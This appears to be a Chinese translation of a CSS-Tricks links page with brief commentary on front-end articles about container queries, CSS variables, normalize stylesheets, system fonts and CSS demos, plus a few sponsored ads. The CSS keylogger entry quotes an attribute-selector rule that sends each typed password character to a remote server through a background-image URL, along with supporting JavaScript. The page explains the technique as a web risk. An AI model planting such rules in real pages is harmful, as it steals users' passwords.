跳至主要内容
CSS-Tricks
  • 文章
  • 笔记
  • 链接
  • 指南
  • 年鉴
  • 随机
搜索

Links

来自网络各处我们正在阅读并有一些想法的东西。有没有我们应该知道的链接?告诉我们!

学习 UI 设计:完整视频课程

🔗 http://synd.co/2CsZDJS
阅读评论

如果你曾经想过“我的所有设计看起来都像垃圾”,这可能是你今天看到最好的广告。如果你拼命地在 Dribbble 或 Behance 上寻找灵感,却发现自己完全无法做出好看的东西,这个适合你。如果你曾经有一种沉重的感觉,认为大多数设计文章毫无价值,无论你阅读多少关于色彩理论的文章,它都不会让你的糟糕设计看起来不错,那么,让我们来谈谈。

学习 UI 设计 是一门在线视频课程,可以帮助你从设计新手成长为能够自信地为任何网站或应用程序创建精美设计的开发者。从颜色到排版,从图标到流程,“学习 UI 设计”涵盖了界面设计的方方面面。仅限两周开放注册。

继续阅读 →

响应式组件:解决容器查询问题的方案

🔗 https://philipwalton.com/articles/responsive-components-a-solution-to-the-container-queries-problem/
阅读评论

容器查询,即根据特定元素的值(例如其宽度和高度)来设置元素样式的能力。我们有媒体查询,但这些是基于视口而不是单个元素。有很多用例。之前有人说过,但我要再说一遍,如果存在容器查询,CSS 中绝大多数媒体查询实际上都将是容器查询。

关于如何在技术上实现它的讨论很有趣。 继续阅读 →

你需要了解的关于 CSS 变量的一切

🔗 https://medium.freecodecamp.org/everything-you-need-to-know-about-css-variables-c74d922ea855
阅读评论

到目前为止,这是我在网上看到的关于 CSS 变量最深入的探讨,它仅仅是关于该主题的完整电子书的第一章。

说实话,我自己还在仔细阅读这篇内容,但不得不中途停下来写下这篇内容并分享它,因为它真的非常有用。例如,这篇文章详细介绍了 CSS 变量的三个特定用例,并分解了代码以更好地理解它的作用,完全是教程风格。

作用域、继承、解析多个声明、小问题——这里有许多内容适合初学者和高级开发者。

好的,继续阅读。🤓

modern-normalize

🔗 https://github.com/sindresorhus/modern-normalize
阅读评论

来自 Sindre Sorhus 的另一个不要称之为重置。它是Normalize的移植版本,顾名思义,它经过现代化改造,删除了一些旧内容并添加了一些有主见的片段。我喜欢轻量级且合理的观点,就像在这种情况下,box-sizing: border-box; 处处可见。这看起来类似于sanitize.css,它也基于 Normalize 并带来了一些更合理的观点。与Reboot类似。

如果你对这些内容背后的历史和思考方式感兴趣,我最近写过这方面的内容。Daniel Box 创建了一个小工具来比较它们,而我把它复制了一份以包含 modern-normalize。

CSS 键盘记录器

🔗 https://github.com/maxchehab/CSS-Keylogging
阅读评论

一个可怕的小攻击,基本上使用了一堆像这样的属性选择器

input[type="password"][value$="a"] {
  background-image: url("https://:3000/a");
}

起初,我想等等,你不能根据人们在其中输入的内容来选择输入,而只能根据属性本身设置的内容来选择。然而,Max Chehab 展示了它是如何可能的,因为 React 使用“受控组件”默认执行此操作。更不用说你可以轻松地将键入的值应用于属性,例如

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

像这样根据 value 属性选择输入有多有用和广泛?我不确定如果它被删除了我会不会想念它。

变量顺序

🔗 http://kizu.ru/en/blog/variable-order/
阅读评论

Roman Komarov 制作的一个引人入胜的小技术演示,允许使用纯 CSS 进行可点击的表格排序。它结合了内联 CSS 自定义属性、order 属性和 calc()。

此演示引发了大量关于可访问性的讨论,其核心是重新排序仅在视觉上完成,而不是在源代码中完成。这意味着直接与源代码交互的人(屏幕阅读器)可能会误以为他们已对表格进行了排序,而实际上并没有。Rachel Andrew 指出,这实际上是规范本身告诉你不应该做的事情之一

作者必须仅将 order 用于内容的视觉重新排序,而不是逻辑重新排序。使用 order 执行逻辑重新排序的样式表是非标准的。

作为精妙 CSS 技巧的鉴赏家,我赞赏这个想法。在生产环境中,仍然是 JavaScript 的工作。关于 order 属性?使用它总是不好的主意吗?Amelia Bellamy-Royds 有一篇关于一个非常好的用例的文章。而 Adrian Roselli 的HTML 源代码顺序与 CSS 显示顺序涵盖了这场斗争。

红色揭示:网络上的幻觉

🔗 https://danielcwilson.com/blog/2018/02/optical-fun-red-reveal/
阅读评论

在关于网络上视觉错觉的一系列文章的第一部分中,Dan Wilson 阐述了如何创建“红色揭示”,他将其描述如下

在成长过程中,我的家人玩了很多棋盘游戏。一些游戏,如 Outburst、Password 和 Clue Jr. 包含了一些当时让我感到惊奇的东西——一个红色镜片和一些淡蓝色文字的卡片,这些文字被无数的红线遮挡。当你将红色镜片放在卡片上时,文字就会神奇地出现。

这是一个来自一个漂亮的 Pen的效果示例 继续阅读 →

将系统字体交付给 GitHub.com

🔗 http://markdotto.com/2018/02/07/github-system-fonts/
阅读评论

系统字体栈大约一年前开始流行,毫无疑问,这受到了 Mark Otto 将其应用于 GitHub 的工作的影响。

对我来说,原因感觉像是(1)性能提升,以及(2)网站看起来与操作系统的其他部分一样。但对于 Mark 来说

Helvetica 创建于 1957 年,当时个人电脑还只是一个梦想。Arial 创建于 1982 年,在网络上 95% 的计算机上可用。数百万甚至数十亿个网页目前使用这种严重过时的字体栈,向更新的浏览器和设备提供更新的内容。

随着显示质量的提高,我们对这些显示器的使用也必须提高。苹果的 San Francisco 和微软的 Segoe 等系统字体旨在做到这一点,利用视网膜屏幕、动态字距调整、额外的字体粗细以及改进的可读性。如果操作系统可以利用这些变化,那么我们的 CSS 也一样。

继续阅读 →

你的 Sketch 库不是设计系统 Redux

🔗 http://bradfrost.com/blog/post/your-sketch-library-is-not-a-design-system-redux/
阅读评论

我真的很喜欢 Brad Frost 关于什么是设计系统、什么不是设计系统的这篇文章,尤其是当他淡化工具在这些工作中的重要性时 继续阅读 →

Wix.com:让网络成为你的游乐场

🔗 http://synd.co/2EGZwLr
阅读评论

你应该考虑拥有以下内容:你自己的专业网站。你只需要你的想象力、一些空闲时间和一个创新的网站构建器即可开始。

Wix 是世界上技术最先进的网站构建器。注册 Wix,选择一个模板,然后开始自定义它。无论你是新手、企业主、经验丰富的设计师还是专业的网站构建者,你都可以完全控制你的网站——从设计原型到生产。

继续阅读 →

Quick Hits

# 2024 年 8 月 23 日
# 2024 年 8 月 21 日
# 2024 年 8 月 14 日
# 2024 年 8 月 14 日
更多快速提示 →
  • 更新
  • 1
  • ...
  • 88
  • 89
  • 90
  • ...
  • 219
  • 较旧

CSS-Tricks 由 DigitalOcean 提供支持。

关注 Web 开发最新动态

通过我们精心制作的时事通讯

DigitalOcean
  • 关于 DO
  • Cloudways
  • 法律信息
  • 获取免费信用额度!
CSS-Tricks
  • 为我们写文章!
  • 与我们一起做广告
  • 联系我们
社交
  • RSS Feed
  • CodePen
  • Mastodon
  • X
返回顶部

© 2024 . All rights reserved.